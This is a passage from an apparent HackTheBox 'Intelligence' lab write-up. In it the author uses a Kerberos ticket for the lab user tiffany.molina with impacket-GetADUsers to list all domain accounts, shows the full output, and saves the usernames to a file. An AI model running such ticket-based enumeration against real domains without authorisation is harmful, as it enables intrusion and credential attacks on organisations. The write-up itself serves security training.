Username Extraction


Using the TGT of the tiffany.molina user, I will be able to extract all the domain users

┌──(kali㉿kali)-[~/archive/htb/labs/intelligence]
└─$ KRB5CCNAME=tiffany.molina@dc.intelligence.htb.ccache impacket-GetADUsers intelligence.htb/ -k -no-pass -all -dc-ip $IP 
Impacket v0.11.0 - Copyright 2023 Fortra
 
[*] Getting machine hostname
[*] Querying DC for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
administrator                                         2021-04-19 02:18:37.324158  2023-09-27 01:13:34.201277 
Guest                                                 <never>              <never>             
krbtgt                                                2021-04-19 02:42:42.123388  <never>             
danny.matthews                                        2021-04-19 02:49:34.063349  <never>             
jose.williams                                         2021-04-19 02:49:35.172890  <never>             
jason.wright                                          2021-04-19 02:49:36.219546  <never>             
samuel.richardson                                     2021-04-19 02:49:37.360187  <never>             
david.mcbride                                         2021-04-19 02:49:37.969688  <never>             
scott.scott                                           2021-04-19 02:49:38.063339  <never>             
david.reed                                            2021-04-19 02:49:38.157197  <never>             
ian.duncan                                            2021-04-19 02:49:38.235337  <never>             
michelle.kent                                         2021-04-19 02:49:38.423023  <never>             
jennifer.thomas                                       2021-04-19 02:49:38.579790  <never>             
kaitlyn.zimmerman                                     2021-04-19 02:49:38.673809  <never>             
travis.evans                                          2021-04-19 02:49:38.782055  <never>             
kelly.long                                            2021-04-19 02:49:38.875947  <never>             
nicole.brock                                          2021-04-19 02:49:38.953928  <never>             
stephanie.young                                       2021-04-19 02:49:39.048651  <never>             
john.coleman                                          2021-04-19 02:49:39.157099  <never>             
thomas.valenzuela                                     2021-04-19 02:49:39.282178  <never>             
thomas.hall                                           2021-04-19 02:49:39.391518  <never>             
brian.baker                                           2021-04-19 02:49:39.516521  <never>             
richard.williams                                      2021-04-19 02:49:39.626151  <never>             
teresa.williamson                                     2021-04-19 02:49:39.720413  <never>             
david.wilson                                          2021-04-19 02:49:39.813382  <never>             
darryl.harris                                         2021-04-19 02:49:39.907066  <never>             
william.lee                                           2021-04-19 02:49:40.032313  <never>             
thomas.wise                                           2021-04-19 02:49:40.125883  <never>             
veronica.patel                                        2021-04-19 02:49:40.219553  <never>             
joel.crawford                                         2021-04-19 02:49:41.016652  <never>             
jean.walter                                           2021-04-19 02:49:41.110193  <never>             
anita.roberts                                         2021-04-19 02:49:41.188396  <never>             
brian.morris                                          2021-04-19 02:49:41.282116  <never>             
daniel.shelton                                        2021-04-19 02:49:41.360886  <never>             
jessica.moody                                         2021-04-19 02:49:41.454425  <never>             
tiffany.molina                                        2021-04-19 02:49:41.532178  2023-09-27 01:35:20.865669 
james.curbow                                          2021-04-19 02:49:41.641481  <never>             
jeremy.mora                                           2021-04-19 02:49:41.735760  <never>             
jason.patterson                                       2021-04-19 02:49:41.828961  <never>             
laura.lee                                             2021-04-19 02:49:41.907116  <never>             
ted.graves                                            2021-04-19 02:49:42.032265  2023-09-27 01:33:34.214440 

Not only that all the domain users are retrieved, I am able to also see that the ted.graves user has recently logged on

┌──(kali㉿kali)-[~/archive/htb/labs/intelligence]
└─$ cat dum | cut -d ' ' -f1 | tr -d [:blank:] > users.txt
 
┌──(kali㉿kali)-[~/archive/htb/labs/intelligence]
└─$ wc -l users.txt
41 users.txt

Nonetheless, I will save the list to a file; users.txt